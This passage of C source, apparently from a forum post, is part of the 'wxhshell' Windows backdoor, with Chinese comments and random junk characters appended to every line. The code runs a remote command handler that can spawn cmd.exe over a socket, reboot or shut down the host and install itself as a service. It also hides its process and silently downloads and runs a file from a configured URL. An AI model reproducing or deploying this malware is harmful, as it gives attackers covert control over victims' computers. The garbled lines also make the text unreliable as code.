  } TbR Ee;1  
  else { xb(y15R\I  
iJ`v3PP  
    switch(cmd[0]) { 6$$ku  
  :"oUnBY%  
  // 帮助 tj!~7lo  
  case '?': { _ <pO<S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M*jn8OE  
    break; 1QuR7p  
  } !='&#@7u  
  // 安装 XM*%n8q7#N  
  case 'i': { ivl_=  
    if(Install()) RZKczZGZg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L)Ru]X`  
    else gtb,}T=1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mt3j$r{_  
    break; }&*,!ES*  
    } o>4GtvA*  
  // 卸载 ?pF uV`Zm  
  case 'r': { }W R?n  
    if(Uninstall()) {{ 4S gb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {W#VUB  
    else #]o#~:S=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =dI2j@}c  
    break; 1|\/2  
    } M6b6lhg  
  // 显示 wxhshell 所在路径 )eSD5hOI)  
  case 'p': { .3 T#:Hl  
    char svExeFile[MAX_PATH]; 1:iT#~n  
    strcpy(svExeFile,"\n\r"); ?`D/#P  
      strcat(svExeFile,ExeFile); =arrp:  
        send(wsh,svExeFile,strlen(svExeFile),0); olf7L%  
    break; wTY8={p]  
    } Z\M8DZW8Y  
  // 重启 7q _.@J  
  case 'b': { DWRq \`P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l+8G6?@]>  
    if(Boot(REBOOT)) !@-g9z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KF`@o@,  
    else { zz+[]G+"2m  
    closesocket(wsh); )y}W=Q>T  
    ExitThread(0); o]*#|4-  
    } h wfKgsm  
    break; Va m4/6  
    } 6o/!H  
  // 关机 n$y)F} .-  
  case 'd': { 4!KUPgg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OmX(3>:9  
    if(Boot(SHUTDOWN)) eyGY8fF8$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u CNi&.  
    else { 5}t}Wc8  
    closesocket(wsh); (>\w8]  
    ExitThread(0); ww"HV;i  
    } 7Z<ba^r}  
    break; 6>Szxkz  
    } >A;9Ee"&  
  // 获取shell /? j vv&  
  case 's': { H|0GRjC  
    CmdShell(wsh); AlRng& o~  
    closesocket(wsh); IvyBK]{|  
    ExitThread(0); `by\@xQ)  
    break; tZ ]/?+1G  
  } }[OOkYF#r  
  // 退出 zLiFk<G@Xi  
  case 'x': { 7R=cxD&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -?$Hr\  
    CloseIt(wsh); kW@,P.88  
    break; qEoa%O  
    } ?xuhN G@  
  // 离开 #\]:lr{>?4  
  case 'q': { }XiV$[xHd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .UuCTH;6`  
    closesocket(wsh); u/BCl!`  
    WSACleanup(); 2& l~8,  
    exit(1); hs"=>(P)  
    break; o4"7i 9+g  
        } ]%PQ3MT.  
  } (E*eq-8  
  } 4j'cXxo  
$*`=sV!r  
  // 提示信息 75LIQ!G|=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /i#~#Bn|  
} czV][\5  
  } T.sib&R  
/ b_C9'S  
  return; (hn@+hc  
} IE-c^'W=}m  
I(*4N^9++  
// shell模块句柄 O!D0 hW4  
int CmdShell(SOCKET sock) !V6O~#  
{ ni@N/Z?!pA  
STARTUPINFO si; }0P5~]S<5A  
ZeroMemory(&si,sizeof(si)); i<*{Z~B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xmEmdOoD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v/E_A3Ay&  
PROCESS_INFORMATION ProcessInfo; ;9r`P_r  
char cmdline[]="cmd"; 2%'iTXF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xk_xTzJ  
  return 0; %!G]H   
} S WYIQ7*  
;:[!I]E0  
// 自身启动模式 y%21`y&Os  
int StartFromService(void) q7 ;TdQ  
{ $Xf gY1S  
typedef struct &ESE?{of)  
{ SG{> t*E  
  DWORD ExitStatus; ;L5'3+U  
  DWORD PebBaseAddress; u2SnL$A7  
  DWORD AffinityMask; #l6L7u0~wC  
  DWORD BasePriority; f<V#Yc(U }  
  ULONG UniqueProcessId; Q}a 1P8?S  
  ULONG InheritedFromUniqueProcessId; tf?u ;n  
}   PROCESS_BASIC_INFORMATION; \)=X=yn2  
yk4Huq&2  
PROCNTQSIP NtQueryInformationProcess; q#$4Kt;  
$Q[a^V~:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^;b$`*M1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YI=03}I  
#4ZDY,>Xi#  
  HANDLE             hProcess; t UJ m}+=>  
  PROCESS_BASIC_INFORMATION pbi; J1^6p*]GX  
R)AFaP |  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O3JN?25s  
  if(NULL == hInst ) return 0; SEn-8ZF  
Rl7V~dUY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +)#d+@-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;hz"`{(JY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <|_/i/H  
L {6y]t7^  
  if (!NtQueryInformationProcess) return 0; z:hY{/-  
ZqHh$QBD 9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sglYT!O  
  if(!hProcess) return 0; 5TqT`XTzm  
~ N+bD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +)C?v&N  
QfuKpcT &  
  CloseHandle(hProcess); d~](S<k  
^FJ=/#@T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;&Q8xC2  
if(hProcess==NULL) return 0; P#/k5]g  
IS`1}i$1%  
HMODULE hMod; {%$eq{~m  
char procName[255]; xF'9`y^]!@  
unsigned long cbNeeded; FqOV/B /z2  
ANNfL9:Jy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OAu ?F}O  
}LDH/# u  
  CloseHandle(hProcess); [-X=lJ:+h  
aHosu=NK  
if(strstr(procName,"services")) return 1; // 以服务启动 Ctpr.  
#%4-zNS  
  return 0; // 注册表启动 #{)=%5=c  
} =} Np0UP  
)1%l$W  
// 主模块 >5{Z'UWxh  
int StartWxhshell(LPSTR lpCmdLine) [HJ^'/bB'  
{ >yC1X|d~t  
  SOCKET wsl; NJfI9L  
BOOL val=TRUE; U[/k=}76  
  int port=0; G3HmLz  
  struct sockaddr_in door; DBuvbq-  
MS,J+'2  
  if(wscfg.ws_autoins) Install(); @B;2z_Y!l  
Bb^CukS:  
port=atoi(lpCmdLine); C0o 0 l>  
`+[e]dH  
if(port<=0) port=wscfg.ws_port; -iu7/4!j  
^YddVp  
  WSADATA data; #<V/lPz+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c <8s \2  
xEN""*Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &ah!g!o3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gVM9*3LH6  
  door.sin_family = AF_INET; 0oI3Fb;E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0FrmZ$  
  door.sin_port = htons(port); A)/ 8FYc  
Az29?|e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5?+ECxPt  
closesocket(wsl); /; ;_l2t  
return 1; h:iK;  
} T^3_d93}d  
XK[cbVu  
  if(listen(wsl,2) == INVALID_SOCKET) { zKr\S |yE  
closesocket(wsl); 99%oY  
return 1; A;nrr1-0  
} 5mwtlC':l?  
  Wxhshell(wsl); :kUZNw'Bi  
  WSACleanup(); F-?K]t#  
iUl5yq  
return 0; .4c*  _$  
8W$uw~|dw  
} tMxa:h;/x  
 -1Acprr  
// 以NT服务方式启动 3n;UXYJ%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hj@< wU  
{ .i[rd4MCK  
DWORD   status = 0; Ek|#P{!  
  DWORD   specificError = 0xfffffff; >p4#AfGF  
x8I=I"Sp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4LqJ4jo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?-CZJr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ',L>UIXw  
  serviceStatus.dwWin32ExitCode     = 0; (Zi(6 T\z  
  serviceStatus.dwServiceSpecificExitCode = 0; SoZ$1$o2  
  serviceStatus.dwCheckPoint       = 0; Mg? ^5`*  
  serviceStatus.dwWaitHint       = 0; cn&\q.!fh  
">vxYi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !+tz<9BBY  
  if (hServiceStatusHandle==0) return; m\>531&  
U)~?/s{v  
status = GetLastError(); zPWX%1Qr  
  if (status!=NO_ERROR) MP/6AAt7=|  
{ T#'+w@Q9{9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \ IJ\  
    serviceStatus.dwCheckPoint       = 0; u_[^gS7  
    serviceStatus.dwWaitHint       = 0; /QDlm>FM4  
    serviceStatus.dwWin32ExitCode     = status; ".jY3<bQg  
    serviceStatus.dwServiceSpecificExitCode = specificError; r`5[6)+P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +L_!$"I  
    return; [)V&$~xW  
  } qdoJIP{  
d;` bX+K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iM;7V*u  
  serviceStatus.dwCheckPoint       = 0; PjriAlxD  
  serviceStatus.dwWaitHint       = 0; .#zmX\a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nQ4s  
} @!z9.o;  
VT1Nd  
// 处理NT服务事件,比如:启动、停止 J(+I`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <fq?{z  
{ Jolr"F?  
switch(fdwControl) E)liuu! qI  
{ OYKeu(=L  
case SERVICE_CONTROL_STOP: OZ\]6]L  
  serviceStatus.dwWin32ExitCode = 0; |_Vi8Ly  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zlC|Spaf  
  serviceStatus.dwCheckPoint   = 0; j0b?dKd  
  serviceStatus.dwWaitHint     = 0; SE= 3`rVJ  
  { }HB)%C50.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8F|8zX&  
  } o:E+c_^q`  
  return; $ 2'AY  
case SERVICE_CONTROL_PAUSE: `$j"nP F_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u^H:z0  
  break; b|F_]i T  
case SERVICE_CONTROL_CONTINUE: \DsP '-t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .]+Z<5Fo  
  break; !yAg!V KY  
case SERVICE_CONTROL_INTERROGATE: ~~eR,HYk  
  break; Sc Uh -y_  
}; /Po't(-x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Cd#~  
} k fER  
ld58R  
// 标准应用程序主函数 f,GF3vu"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L}O_1+b  
{ t}LV[bj1u  
2\h]*x% :  
// 获取操作系统版本 ~nk{\ rWO  
OsIsNt=GetOsVer(); S;DqM;Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i=$##  
\tf \fa  
  // 从命令行安装 K5-wuD1  
  if(strpbrk(lpCmdLine,"iI")) Install(); lA[BV7.=7  
M&P?/Zi=L  
  // 下载执行文件 bqEQP3t^  
if(wscfg.ws_downexe) { ~\A(xmW}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uJ jm50R<  
  WinExec(wscfg.ws_filenam,SW_HIDE); h=6Zvf<x  
} [<m1xr4"k  
7{HJjH!zx  
if(!OsIsNt) { >r+Dl\R  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q]WjW'Ry\  
HideProc(); g{K*EL <  
StartWxhshell(lpCmdLine); ceN*wkGyB  
} C?6wIdp  
else J#DYZ>}Y  
  if(StartFromService()) 6XyhOs%/  
  // 以服务方式启动 }RX[J0Prq~  
  StartServiceCtrlDispatcher(DispatchTable); J7:VRf|,?(  
else l}-JtZ?[?  
  // 普通方式启动 p/jC}[$v  
  StartWxhshell(lpCmdLine); !yAlb#yu  
H8d%_jCr  
return 0; *FoH '\=  
}
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只看该作者 1 发表于: 2006-10-10
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